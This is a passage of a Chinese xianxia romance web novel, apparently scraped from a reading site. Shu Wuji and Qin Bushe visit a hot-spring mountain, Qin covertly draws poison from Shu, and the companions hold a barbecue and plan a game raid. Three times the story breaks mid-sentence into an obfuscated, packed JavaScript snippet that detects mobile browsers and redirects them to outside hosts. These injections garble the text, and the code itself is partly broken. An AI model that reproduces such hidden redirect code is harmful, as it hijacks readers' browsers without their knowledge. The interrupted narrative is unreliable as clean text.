“可是有什么不妥?”殊无己蹙眉问道。 “没没没,谢谢啊。”肖紫烟笑了一下,塞了一张在黑墨镜怀里,另一张则塞进了自己的手机壳,“听说你们三清护命很灵的。” “护数日周全,绰绰有余。”殊无己道,“秦先生?” 秦不赦抬了下眼皮,一张黄符伸到他面前。 “他就不用了。”肖紫烟忙来救场,“我跟你说,他小时候有高人给他算过,至阳至刚,大富大贵的命,一辈子无灾无厄,要什么有什么,你命再硬都克不了他。” “当真?”殊无己将信将疑,“我观人多年,却未见过此等命数。” 他的手仍然执着地伸在那儿,有点尴尬,肖紫烟冲秦不赦挤眉弄眼了会儿。 秦老板无奈地叹了口气,伸手接过了那张黄符。 当他的手指碰到符咒的那一瞬,忽地,一阵耀眼的白光从接触的地方亮起,紧接着,符纸卷起,被吞噬入凭空产生的白焰之中,几秒就化为了一地灰烬。 殊无己双目微瞠:“这是为何?” 秦不赦转过头继续看着窗外:“三清门不会庇护我。” 殊无己蹙着眉,忽然想起了什么。脸色一变,他正色盯着秦不赦的脸,初次见面时都没打量地这么仔细过。 “你被三清逐出师门过?”他冷声问。 前座紫霞仙姑和解厄星君一齐缩了缩脖子,暗道完了。 秦不赦动作顿了一下,无奈地点了点头。 “为什么?”殊掌门下意识提高了声音。 他来此世后一向温和疏离,又欠了秦老板不少人情,在对方面前更是客客气气,鲜少有这样威严毕露的时候。 肖紫烟嘀咕:“天哪,原来发起飙来真的是那样的。” 黑墨镜:“你别捣乱。” “哎,不要生气。”热心的紫霞仙姑执意要解围,“这不是富二代拿钱砸道观,得罪了里面清高的……” “紫烟。”秦不赦制止了她的胡编乱造,转头对上殊无己质问的目光,“我擅作主张,轻举妄动,不敬师长,被逐得不冤。” 殊无己盯着他的眼睛,只见其目光沉稳,双眼澄澈坦荡,神色才逐渐和缓下去。 “倒不至于罪不可恕。”他斟酌道,“你师从何人?贫道或可替你问上一问。”也算是还了人情。 秦不赦眉毛一扬,神色讶然,颇有些意味深长地看了他一眼。 殊无己耐心地等他答复,等了半天,却只等到一个“哦”字。 殊无己:“……?” “算了。”秦不赦摆摆手,笑了一下,“他不会开后门的。” -- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438817|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ----------------------------------- 一路上几人都不多话。 秦不赦始终靠着椅子假寐,没人敢打扰他,殊无己闭目调息,黑墨镜认真地开着车。众人皆是一言不发,肖紫烟那张巧嘴也就没有用武之地了,只能也歪着脑袋鸡啄米似的睡下。 进入崃山市的时候,几人终于陆陆续续地醒来,彼时朝霞满天,天空璨然,黑墨镜按下遥控键将四侧车窗都降了下来,暖融融的光线透进车厢里。 “今天真是个好天气。”肖紫烟伸了个懒腰,忍不住扭过头去偷窥后排坐着的两个人。 秦不赦仍然在睡觉,殊无己却早就醒了,正支着下巴坐在窗前,看着远处起伏连绵的山脉。 似曾相识。 殊无己太熟悉这个地方了。 五百年里,他几乎认识山中每一块石头。他喜静不喜动,门下的弟子来了又走,始终陪伴他的只有这山里的草木石头。草木枯荣,却年年相似,石头不腐不蠹,似千年不改,至今仍是他唯一的旧友。 大约是因为这些似曾相识的石头树木,穿行其间的风也裹挟着千年前的气味。殊无己闭上眼睛,他好像回到了上次站在这里的时候——站在三叠泉山最高的中峰上,手里拿着断成半截的明光剑。 他的脚下,两刃山峰断面陡直光滑,似被巨斧破开般,凛凛对峙。两峰之间的峡谷地下浓烟蒸腾,犹如炼狱深渊,怨气冲天的鬼魂正在爬上来,试图拽住他的脚踝。与此同时,各大门派的修行者站在剑上,要取他性命,天庭更是对他下了十三道诛仙令。 这些都不算什么,最要命的是十指连心处传来的剧痛,蓝蝎之毒深入魂魄,让他呕血不止。 殊无己陡然睁开眼睛。 车厢里温暖舒适,但他的指尖却仍然隐隐泛着酸涩。他没有忽视这一点,他只是——至始至终就没那么在意。 “怎么了?”秦不赦似乎被他动静弄醒了,坐直身体转过头来看他。 “无事。”殊无己叹了口气,“我在找一处形若天劈的山峰。” 秦不赦微不可觉地皱了皱眉。 “哦,你说的是情人崖。”肖紫烟轻松地道,“老公,你往那边拐一拐呗,前面驼峰岭那儿右转一下,有个服务站,从那里正好能看到吧。” “情人崖?” “哦,那两片山的形状不是很像被剑劈开来的吗?所以就有了很多凄美的传说。”肖紫烟意味深长地说,“什么有情人至此远隔天涯,什么烈女缠郎在此地被生生分开,故事可多了,不知真假,说不过来。” 他们有一搭没一搭地说着,黑墨镜一打方向盘拐进了前面的高速服务站。车一转弯,殊无己就看到了那两片郁郁葱葱的山峦,中间确实天开一线,但与他记忆中光滑嶙峋、锋锐削人的石壁不同,如今两座山峰郁郁葱葱地长满了树木,宛如两个披着绿绒的巨人。 “哎,每年来这里都觉得它们之间的距离会近一点。”肖紫烟笑了起来,“是不是啊,秦老板?” “巨榕松枝叶可以生长很长。”秦不赦见怪不怪地说,他移开视线,似乎不想盯着这个地方看,“只要时间够久,总会碰上的。” 19. 温泉 三叠泉主峰在情人崖后面。 汽车驶过情人崖中间的峡谷时,殊无己不自觉地凝神静气,然而千年时间足以将此地曾聚拢的煞气涤荡一空。曾经蔓延着滚滚烈焰的峡谷深处,现在绿草成荫,鸟语花香。路边的草地上,凡人来来往往,谈笑风生。 殊无己问:“这些人是谁?为何在此处安营扎寨?莫非此处另有险情?” 肖紫烟:“他们在露营,亲爱的。” 殊无己摇头:“我确实看到草中隐蔽之所有人持火铳伏击。” 肖紫烟顺着他指的方向看了一眼,差点没绷住:“呃,那是望远镜。他们在观鸟。” 殊无己抿了抿嘴唇,没再说话。 他提醒自己不能犯蠢丢人,再看到什么稀奇古怪之物也不愿出言评价——直到看到情人崖之间那些钢铁架成的腾蛇蛟龙。 他忍不住再次出声相询:“这是什么阵法?所困是何妖物?竟发出如此凄厉的哭号之声,我过去从未见过。” “这个是过山车。就是一群人把自己绑在那个铁盒子上面,然后吓得尖叫,据说很解压。”黑墨镜听不下去了,擦着额头的冷汗解释,“其实这上面修了一个游乐园,全是这种设施,还是我们老板投资的。” “海尽天劫主题Wonderland。”肖紫烟笑了起来,“确切的说是殊无己主题的Wonderland。你要是登顶的话,能看到那边有一座超大的殊无己雕像,汉白玉的,我们老板捐的,放在这里镇邪。” 殊无己:“……” 他不可置信地转头看向秦不赦,眼神明显在问“你怎么能做这样蠢的事情?” 秦不赦闭着眼睛不说话,好像根本不觉得有什么好解释的。 “还有更搞笑的事。”肖紫烟兴致勃勃地继续八卦,“当时投资人里面有一个墨西哥人,大概是有点脸盲,中文又不好。大因为文化冲击加上翻译有歧义,一直觉得那个雕像是老板的女神。每次开口闭口都喊它塞尼奥丽塔(Se?orita)。” 殊无己:“……” 他再次无语地看向秦老板。 秦不赦摊了摊手,露出了一个爱莫能助的表情,好像无理取闹的反倒是他似的。 他们插科打诨地穿过了情人崖,到了三叠泉山。 门前一个背着葫芦的年轻人立刻迎了上来,他看起来二十来岁,右边脸颊上还贴了一块膏药。 “老板你来啦。”年轻人生了一张娃娃脸,眼睛水汪汪的特别大,跟两颗鹌鹑蛋似的挂在脑门上。他意思意思地冲黑墨镜和肖紫烟打了个招呼,就殷勤地拉开后座的车门。 “您就是殊渺殊先生是吧?久仰大名,久仰大名。”他笑嘻嘻地唱了个喏,“我叫王老君,嘿嘿。” “福生无量天尊。”殊无己行了一礼,凑近时,他只觉扑面而来一阵丹药的清香,忍不住多看了这王老君两眼,“阁下师从何处,可懂丹术?” “呃,我就是个实习生,跟老板打杂的。”王老君挠了挠头,“主要负责医疗急救这块,会开中成药,你要是身上有什么不舒服,随时找我看。免费给你开单方哈。” 殊无己点头道了声谢。 等他们彻底寒暄完,秦不赦才从车里走出来。王老君一看他的脸色,就露出了欲言又止的表情。 肖紫烟眨了眨眼睛解释道:“老板这几天都没睡好。” “哦。”王老君读懂了她的示意,“那老板,你先跟我到医务室里看看吧——紫烟你们今晚什么安排?” “先泡温泉。”开口的却不是肖紫烟,而是秦不赦,他注意到殊无己不解的表情,开口解释道,“此间峡谷深处有不少天然药汤,传说灵气充沛,能排虚解毒,难得来一次,多去泡泡。” 殊无己自然道好。他本来就亲自然,不喜束缚,苦那些砖头垒成的小浴缸和突然喷热水的金属管久矣。 只是其余众人却好似并不如他那么轻松。 “这么快啊。”王老君问,“你确定?” 肖紫烟跑来瞎凑热闹:“对呀,这么快呀。亲密度才几啊?就洗鸳鸯浴了。” 秦不赦翻了个白眼,懒得理他们。 王老君也没多问,就急匆匆带着人进了医务室。 “行吧,既然是老板的要求。”肖紫烟无奈地笑了一下,“那我带你去泡温泉呗。” ------------------------------------- 那边自去泡温泉了不提,这头玄都丹霞老君一把人领进屋子就拉下了脸。 “你搞什么?”他冲着帝君劈头盖脸一顿抱怨,“跟我说过一声没有?就自己去试了?” 秦不赦一声不吭,只是在椅子里坐了,伸出手臂搭在桌子上的脉枕上。 王老君撩起他的衣袖,往他脉上一摸,眉头一会儿皱起,一会儿松开,一会儿又皱起。 “我的身体我自己清楚。”秦不赦这才慢吞吞地开口,“没什么问题吧?” “算你命硬。毒基本上都代谢掉了。”王老君心不甘情不愿地说,从袖子里掏出了一瓶万花解毒丹,“以防万一,还是吃了。” 秦不赦随手拿过药瓶,倒出五颗漆黑的丹丸送入口中,扬起脖子就干脆利落地咽了下去。 “下次还是别做这事了,又不是一般的毒,随随便便就吃了。” “我总得先自己试一下。”秦老板无所谓地说,再次固执地强调,“我的身体我自己清楚。” “你到底哪里来的底气?”王老君被他气笑了。 “不知道。”秦不赦抬了抬眼皮,“可能是因为身体比你好,钱比你多,还比你多三千年的修为?” 王老君:“……” “虽然都是蓝蝎,但殊无己被人下的毒到底还是有点不同。”他最后苦口婆心地劝了一句,“就算有灵泉当引子,也不知道在别人身体里会是什么反应。” “嗯,一点点来。”秦不赦敷衍地说,“你待会儿找个借口过去,给他吃两颗大酿丹。” “你有病吧,就我自己都不舍得吃。”王老君只觉得自己给自己挖了个坑,“再说我找什么借口?我也想追他,也想跟他一起泡温泉?” 秦不赦安静地盯着他看了一会儿,看得他心里发毛。 就当他以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438818|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此人要恼羞成怒发作的时候,秦老板露出了一个若有所思的表情:“摆摊?” 王老君:“?” “你不是要借口吗?”秦老板平静地说,“实习生摆摊给人义诊,提高知名度,这不是挺常见的。” 王老君:“……” 他算是彻底放弃跟这个我行我素的昭帝陛下对话了。 ------------------------------------- 露天汤池里只有殊无己一个人。 他靠在石壁上,银色的长发颇有几分像在石缝间流动的月光。 他效仿着画像中现代人的模样,把长发用毛巾盘在头顶,然而他的头发过于柔滑,不多久那发巾就松松地搭落在肩头,头发跟兜不住的泉水一样一丝一丝地往外漏。 汤池周围都是三叠泉山出名的百年老松,松枝虬劲,松针散发着幽冷的清香。草地上丛生着火红的石蒜和紫色的返魂草,再往远处寒潭前面摇曳着马鬃似的白色芦芒。看不见水鸟的身形,却能听到夜鹭入水、鱼尾击浪的声音。 一切都显得自在惬意,汤泉饱含的灵气甚至让殊无己指尖常年累月的胀痛感都减弱了。 他闭上眼睛,什么也没想,什么也没看。即便身后有人下了水,他也过了一会儿才睁开眼睛。 不用回头他也知道来的人是谁。 “秦先生。”他打了个招呼,却没有站起来。自从知道此人曾经是三清弟子后,他就很难再对他客气了——既然至少是徒子徒孙,那也没必要当做外人。 有个老友曾经嘲笑过他,说他殊无己就跟只母鸡似的,鸡崽子跑到了羽毛下边,不管是斑鸠还是燕雀还是杜鹃儿,先养了再说。他当时还不以为然,现在跨过了三千多年的变迁,却是深有感触。 秦不赦“嗯”了一声,明知故问:“怎么只有你在这里?其他人呢?” “肖夫人说与她夫君需要‘私人空间’。”殊无己直接引用了肖紫烟的说法,又问,“你的失眠治得如何了?可需我替你看看。” 这一次秦不赦没有拒绝,而是老老实实地伸出了手臂。 他们并肩坐在一处大石前,靠得前所未有的近。殊无己就像入睡前一样什么也没穿,秦老板却披着一件外袍,只露出颈口胸口的皮肤和用来把脉的一截手腕。 “脉象略虚,却无甚大碍,服些宁神的汤药,好好休息便可。”殊无己沉吟道。 他已经诊完了病,手指还没有离开秦不赦的手腕,秦不赦也就这么保持着姿势,没有一丁点抽手的意思。 他们皮肤相接着,殊无己忽然笑了笑,让秦老板的心跳活生生漏了一拍。 “怎么了?”他低声问,话尾里带了点气音,水声掩盖之下殊无己没有听出来。 “肖夫人白日里盛赞你的命数,我还道是玩笑。”殊无己道,“如今一看,倒确实是天皇贵胄的命数,至阳至刚,至情至性,虽然执念深重,但——” “但什么?”秦不赦轻轻地问,好像无所谓答案是什么似的。 殊无己认真地看着他的眼睛,莞尔道:“但终会得偿所愿的。” 20. 度假 秦不赦的黑眼睛暖融融的亮了起来。 “当真?”他轻声问。 殊无己含笑点点头:“我虽然不常掐算,但也从未算错过。” “既如此,你说了我的吉祥话,我应该给你些谢礼。”秦不赦道,“只是想来你也不喜欢身外之物——这样吧,我给你按按?” “你会?”殊无己讶然。 “我会。”秦不赦说,也不避嫌,“我以前经常给我师傅按。” 殊无己听他这般说,就更没有拒绝的意思了。本来还想着这一路,必然没有人手拿把掐地伺候着,不料竟真捡回了一个三清出身的门人。 他侧靠在石壁上,偏了偏头,示意秦不赦过来。 秦不赦自然而然地把手放在了他的头顶,从百会穴开始,沿着玉枕、大椎一路按下来,一边按一边轻轻地揉捏着。 他的手指力道不弱,指尖带着能侵入皮肤的热意。 “学过玄阳功吗?”这是殊无己第二次问这个问题。 秦不赦这次如实答道:“原本学过,只是逐出师门时一并被废了。现在所习是我家的家传功内功……但终究是修习过,调息运劲的习惯总是相像。” 殊无己深感可惜:“我门下弟子一代不如一代,许久没有人能大成玄阳功,难得你天资异禀,竟能学会——你师父竟也不觉得可惜吗?” “他才不可惜。”秦不赦似乎被逗笑了,“他亲手废的。” 殊无己更想问问他做了什么,但此等糗事想来秦不赦这样的天之骄子不愿多说,他也就没再多问。 倒是秦老板自己慢吞吞地开了金口。 “我不怨他,也不后悔。他比我更……别无选择。”他的手指已经从殊道长的脖子按到了肩头,力道得当地拉着两肩的经络,每一下方位都恰到好处。 殊无己沉默片刻:“可是三清有什么劫难?” 秦不赦点点头又摇摇头,没有回答。 他又隔着毛巾按了一会儿,停下动作,用眼神征求了许可才把殊道长身上盖着的最后一片布揭了下来,两指并拢,顺着那苍白的脖子开始沿着脊椎往下揉捏。 殊无己被他伺候得舒服,一时间有些昏昏欲睡。他不太习惯就这么在外人面前睡着,然而熟悉的山、熟悉的泉水、熟悉的手法让他彻底放松了戒备。 “殊渺?”秦不赦低低地喊了一声。 “……嗯。” “您睡一会儿吧。”他忽然用做弟子时的语气说,“一会儿我伺候您更衣歇息便是。” 殊无己本就昏昏欲睡,一时间分不清是梦是醒,便如他所说的那样,枕着湿滑的石头,呼吸平稳地闭上了眼睛。 秦不赦的手又回到了他的头皮上细细的按抚,又过了会儿,直到确定他睡熟之后,才捧起那双指尖漆黑的手。 他无奈地叹了口气,借着草木的阴影和林泉的气味,缓缓地划开了自己手腕。 ------------------------------------- 殊无己在寅时准时醒来,身上已经换上了那身标志性的杏黄色道袍。 他飘飘然进了院子,没有如往常一般习练晨功,而是沿着三叠泉山的山路,不疾不徐地踱上山去。 汤池在半山腰,他们住在靠近汤池的客栈里,再往上走数百级台阶便能到三清观的大门口,只是此时门前搭满了脚手架,旁边贴了维修告示,说清泓观处于装修中,暂不对游客开放。 殊无己皱了皱眉,最终提了一口气轻飘飘地飞起来,越过了脚手架和深蓝色的橡胶栅栏,自上而下审视着他曾经的故土。 然而第一眼就让他大跌眼镜。 从山门到道观的108步台阶两侧,密密麻麻地摆满了售卖开光法器的摊位。千年雷击木高功加持8888一颗,免费算命8888一次,不准不给钱,金龙香8888一炷,旁边还放着宣传小视频,小视频里穿着三清道袍的主持人正在歇斯底里地喊麦:“现在在拍的是明年三清的头香,宝宝们。现在我们出价最高的是德润的王总,出价888万。888万一次,888万两次,888万三次成交!”紧接着锣鼓喧天,视频回到开头,开始循环播放。 殊无己这才理解昨晚提到三清的时候,秦不赦那讳莫如深的态度。 他深深地吸了一口气,克制住拔剑在这山上再劈出一道峡谷的欲望,脚步沉重地登上台阶,前往三清正殿。 正殿倒是比以往更加富丽堂皇,墙柱天顶都重新粉刷过漆,墙壁上新雕了大件式样的浮雕。三清老祖的雕像均已重塑过,门前的功德箱换成了透明的,里面满满地塞着纸币。 只是寅时已至,却没有一人在此处修行。倒是几个穿着蓝背心的工人,揣着烧饼蹲在地上,一边吃一边嚷嚷着马上要上工了。 殊无己听到他们说要把前面的牌坊拆下来,把字换成鎏金的再装上去。又说只要这道观在不停地装修,香火钱就会更加源源不断。 殊无己叹了口气,他现在倒是理解为什么秦不赦被逐出师门,却说不后悔。 恐怕此地已经没有真正的同道中人。 他不愿再往深处走,摇了摇头便准备下山,正好撞上迎面走来的秦老板。 秦不赦惊讶道:“怎么不上去了?” “此处已经不同往昔。”殊无己平静地说,“不必再去。” 他说完才注意到秦不赦的脸色有点苍白,又问:“失眠之症还未好?怎么这么早出来?” “是晨功的时间了。”秦不赦道,对自己的身体绝口不提,“多少有地方还值得一看。陪我走走?” 殊无己自然没有什么不可以的。他让秦不赦带路,他们没有从正殿走,而是七拐八歪地沿着荒废的石阶往山上去。 “这是藏书阁的方向。”殊无己问。 “嗯,我在那留了个院子,还算是维持了过去的样子。”秦不赦道,“藏书阁倒是已经从头到脚镀了一遍金了,你最好别太期待。” 殊无己失笑,忽然也就没那么在意了。 “道法自然。”他喃喃地说,“人事变迁至此,我本不该因循守旧。” 他们又走数十步,秦不赦指了指几米外的一处鱼塘:“当年的放生池还在,你还记得吗?” 殊无己自然记得。他有每日放生的习惯,从市场上买了鱼,便取一尾放在这里,又或许山下潭中有人垂钓,他便会偶尔问他们讨要上一尾,放生在此处的池中。 往日里他常在这放生池边读书小憩、打坐,想来秦不赦有同样的精力。 “难为你了,能留着这地方。”他说,“从前就有人往池子里丢铜板,我还以为现在已经被填满了。” “只要在游客区造个更大的,养满锦鲤就行。”秦不赦嫌弃地说,“那几头鲤鱼已经快比你肥了。” 他们一前一后,终于到了藏书阁下方。 秦不赦没看那金光闪闪的藏书阁,而是绕过残墙,钻进月门,进到后头一处幽深的小院里。 小院门扉斑驳、无匾无名,只有风吹过松枝发出的窸窣声响。 殊无己恍然:“这是我曾经闭关清修的地方。我从未将此处告知旁人,你竟也能找到这里。” 秦不赦笑了下,摇了摇头,不知道为什么,殊无己总觉得他眼中有几分得意。 此地一砖一瓦、一墙一灰,一如过去他被迫离开时一样。甚至床铺上的枕席,仍然铺展着,似乎有人常在使用一般。 小屋旁有一茶亭,摆着成套茶具。旁边一棵合抱粗的老银杏,正在慷慨地撒下金片似的叶子。茶杯上已经有了细小的裂纹,看起来实在是上了年头,虫子在那些油彩的裂缝里安了家。 殊无己在茶亭里坐下。他刚抬起手,秦不赦就递给了他一卷书,正是他早晨通常会抄的《太上玄门早课经》。里面的内容非常粗浅,他也早已烂熟于心,但这卷书他却始终好好收着,逐字抄写磨练心性。 “你想……”秦不赦刚想开口问他是不是要人研磨,忽然,一阵嘈杂的声音打破了清静的氛围。 “Surprise!”肖紫烟大叫着冲了进来,手里拿着一只防贼用的高功率手电筒,照出巨大光柱,把整个小屋映得透亮,“捉奸!” 殊无己:“?” 秦不赦深深地吸了一口气,抑制住自己打人的冲动。 他没好气地问:“你不是喜欢睡懒觉吗?怎么一大早就跑来这里?” “这个问题应该我问你好吧。”肖紫烟说着拍了拍王老君的肩膀,“咱们小实习生一晚上没睡好,急着给你诊脉。结果你一个睡不好觉的,一大早没躺在床上,不知道跑哪里去了。我想你可能在这里,就赶紧过来抓你啊——给我加工资。” 秦不赦皱眉:“都说了我没事。” 他顿了顿,又忍不住补充:“殊渺昨天给我诊过脉了。” “我昨天也给你诊过脉了呀。”王老君不服地大喊,“你不信内行信外行?而且你看看你自己的脸色,比昨天还差了。” “算了,不用管他。”肖紫烟倒是轻松,“来都来了,我有个提议……” 秦不赦有种不好预感,但如果世界上有什么东西比他的剑更快,那大概就是肖紫烟的嘴。 “这地方人杰地灵的,适合搞烤肉派对。”果然狗嘴里吐不出象牙,“秦老板,别在那伺候笔墨了,你过来给我们刷肉酱吧。” ------------------------------------- 不过多时,王老君扛着大包小包的炭火烤炉也钻进了院门,另一个瘦高个拿着两袋食品,冲他们腼腆地笑了笑,自我介绍说叫文修华。此人正是秦老板工作群里的司命文昌帝君。 殊无己盯着他们架锅烤肉的动作看了会儿,接着转头用疑问的眼神看了看秦不赦。 秦不赦无奈地摇了摇头:“这群人一贯喜欢看我难堪,你不必放在心上。” “谁叫你老休息日差遣我们。”肖紫烟像兔子一样嚼着嘴里的生菜,“你看一下我们文修华,这两天帮你杀贼杀的,脸都瘦了一圈。” 文昌帝君腼腆地挠了挠脑袋,他看起来很害羞,犹豫了一会儿才走上前,向殊无己鞠了个躬:“久闻大名,殊先生。殊先生喜欢吃什么?” “我不吃荤腥。”殊无己说,“你们玩得开心就好。” “肖紫烟。”秦不赦拧着眉道,“这是清修之所,要玩出去玩。” 殊无己却笑了,抬手挥了挥袖:“无妨。这一路受你们照拂良多,就当我做东又如何?” “知道了知道了,账本来就记在老板名下,和老板娘做东都没什么区别。”肖紫烟根本没打算给秦不赦面子,甚至油嘴滑舌地绕到殊无己身边,要让他过来一起烧烤。 “你不吃荤?给蔬菜刷油总会吧?还是你连油都不吃?”她连珠炮似的说,“说老实话,其实我们这顿饭安排的是庆功宴。这几天文修华一直在海尽天劫里面出差,现在也算是打扫干净了一个角落,本来就应该吃顿大餐,好好犒劳他一下的——但我们都是有钱人,不差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438819|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一两顿大餐吃的,只想让老板老板娘伺候伺候。” 殊无己还没来得及问谁是老板娘,一阵浓油赤酱的味道便飘到了鼻端。 院门里又进来一个人,这次是黑墨镜。他抱着一只硕大的金属盘子,里面装满了炸物。 “唉,你们听说没有?楼下有摆摊子卖炸鱼骨头的。这东西可香,我可爱吃。”他声如洪钟,“正好附近有个水塘,我就弄了点去炸了,味道真他娘的不错。” 秦不赦:“……” 殊无己:“……” 殊无己:“算了,一切自有缘分。” 他倒是抱着入乡随俗、客随主便的觉悟挽起了袖子,准备听肖紫烟的指挥行事。肖紫烟看了他的手一眼,忽然发出了一声惊呼。 “哎?”她叫道,“你什么时候做的新美甲啊?这个晕染好好看哦。” 殊无己低头一看,微微一怔。 他指甲上靠近指尖的部分颜色变淡了不少,几乎恢复了透明,而指根也变成了浅淡的灰色。 他茫然失神。蓝蝎毒是纪望春用魂魄给他种下的,至今无药可解。他早把自己这副身躯皮囊当成了放生池里的鱼,一切自有缘分。 但是似乎事情在不知不觉间有了转机。 然而思来想去,除了昨夜的灵泉,也没有什么其他事物会有此功效。 “唉,老王过来看。”肖紫烟扭头招呼王老君,目光与殊无己错开时却有了几分凝重,“你看这个颜色好不好看?” 王老君更是演都懒得演,一路飞奔过来,看了一眼就大叫道:“你他妈是不是疯了???” 他喊得太夸张,秦不赦一个眼刀甩过去,眉眼间竟真有几分动怒了。 他马上转变口风,嘴角还咧着,脸上肌肉十分僵硬:“……这么丑,这么非主流的颜色,你怎么敢往手上做的?” 肖紫烟差点一口茶水喷出来。 殊无己满脸莫名其妙。 “没什么没什么,开玩笑的。”肖紫烟好心地打圆场,“就我们单位有个说法,这种半灰不白的美甲会招来不幸。”说着她警惕地瞥了秦不赦一眼,“比如说死老公什么的。” 殊无己仍不明所以,只得歉道:“实在抱歉,我本不知还有如此说法,扫了大家的兴致。” “没有的事。”秦不赦冷笑一声,“别听她瞎说。” “对,问题不大的。”肖紫烟灵机一动,马上有了主意,她打了个响指道,“你过来你过来,你看姐姐这儿正好带了美甲工具包。你把手伸出来,我给你做几个花样,马上就转危为安了。” 黑墨镜也跟着说:“你们去吧,烤肉的事就交给我和文昌就行。” 趁着肖紫烟把殊无己拉到一旁,王老君给秦不赦使了个眼色,让他也跟自己走到一边的藤萝下边。 “你吸走了多少?”他面色不善地问。 “我有分寸。”秦不赦云淡风轻地说,拒绝了王老君伸过来把脉的手。 “你最好真的是。”王老君冷笑了一下。 “真的。”秦不赦淡淡道,“我唯一感谢我父亲的一件事,就是给了我这副仙体。” 王老君面色一顿,惊讶地看着他。 这是这么多年来他第一次听到秦不赦提到自己的父亲。 “而且,”秦不赦抚平了袖子上的褶皱,隔着藤萝的阴影看向在一旁摊着手任人摆布的殊道长,微微一笑,“昨天殊渺给我算了一卦,说我的好日子在后头,我不会让自己这么轻易地死了。” ------------------------------------- 肖紫烟在那儿往殊掌门的指甲上画锦鲤和小白兔,反复强调烟熏酷女郎的黑白灰风格就要配带反差的可爱小动物。 殊无己哭笑不得地任她弄。他的指尖虽不如平常那般疼痛,感觉却仍然尤为敏锐。圆头笔在指甲上轻轻刷过的时候,他痒得连指尖都想蜷缩起来,但又不想在小辈面前露怯,只好拽着袖子硬忍着,只盼着肖紫烟赶紧弄完。 然而这几个不想做体力活烤肉的纨绔仙君一个个都想跑过来当甲方,一会儿让做个跳色,一会儿让贴个金属水钻。昭帝陛下与王老君谈完后,更是走过来发表重要指示。 “你在这边用金丝镂一条鱼。”他指了指殊无己的无名指指甲,对着肖紫烟颐指气使,“把金丝拉得细一点,水波画出来,然后中间填上异色琉璃。” 肖紫烟:“……你在逗我笑是吧?” 秦不赦不理她,而是嫌弃地看了她已经做完了的几个指甲,怎么看怎么不满意,指着她画的最多的那一个说:“俗。兔子是大耳蠢物,不如去了。”顿了顿又道,“小指甲面狭小,你在上面作画,只觉拥挤,并无美感,实在贪多贪足。” 饶是肖紫烟一个脸皮够厚的也被他说无语了。 秦不赦还低着头,自然而然地接过了殊无己的手,一片一片指甲地往前看。在他还要继续评价的时候,头顶上传来一声轻哼。他抬起头,只见殊掌门似笑非笑地看着他。 他张了张嘴,没来得及说什么,那边《太上玄门早课经》已被卷成筒状,往他脑门上不轻不重地抽了一下。 几位仙君一概瞪大了眼睛,齐刷刷地伸手捂住了嘴。 “再敢饶舌,”殊无己慢条斯理地收起了书,往后头的院子指了指,“就到廊下去罚跪。” 秦不赦的嗓子直接哑了。肖紫烟看着他百年难得一见的表情,忍了半天都没忍住,终于指着他的脸上气不接下气地大笑起来。 21. 打副本 小院里杯盘狼藉,一直到傍晚时分,一群大罗金仙吃得脑满肠肥,满嘴流油,才思忖着收摊。 殊无己坐在凉亭里看书,好似没有什么东西能打扰到他似的。而秦不赦假装早起练功,实际上一整天惫懒得很,靠着石头昏昏欲睡。 “晚上有什么安排吗?”肖紫烟走到石头边蹲下,推了推打着哈欠的老板,“去唱k吗?还是去酒吧?” “不去。”秦不赦眼皮都懒得抬,“继续泡温泉。” 没等殊无己发表什么观点,其余几人异口同声喊道“不能再泡了”,王老君还补充了一句:“接下来一个月都不准再泡了。” 殊无己被他们的动静惊动,困惑地从书卷里抬起头:“怎么了?” 肖紫烟正被自家陛下气得头疼,懒得理他,挥了挥手:“小孩子一边玩去。” 殊无己:“……” 其余人:“……” “我有一个提议。”黑墨镜默默地举起了手,“正好大家都在,干脆带殊渺过一下那个最新的绝境地狱本呗,我看他还穿着新手村破烂,这不正好凑一身新装备。” 秦不赦看向殊无己。 殊无己没太明白他们在说什么,但大致知道是和游戏有关的事,也就没有反对。于是秦老板一个电话打到山下,很快就有载着全套影像设备的房车开上山,车上下来两排人都穿着带《海尽天劫》logo的深蓝色制服,雷厉风行地帮他们调试设备,又颇有军队作风地飞速撤离,临走前还齐刷刷地鞠了个躬,祝他们享受游戏。 “我跟你讲讲攻略吧。”其他人调起了装备,只有王老君一个奶妈没什么压力,就拉着殊无己讲游戏机制,“我们要打的这个是最新的15人本,但6个人就可以开,一般推荐配置是一个t一个辅助两个治疗三个输出,但我们这个团队一直比较呃——暴力,除了我玩奶妈,其他人都是标准的暴力输出,没有承伤也没有辅助……” “别开玩笑了。”那边肖紫烟一边换装备上的宝石,一边笑了一下,“秦不赦下本的时候谁会带t呀?谁t仇恨都在他身上。没办法,有的人就是天生太招人恨。” 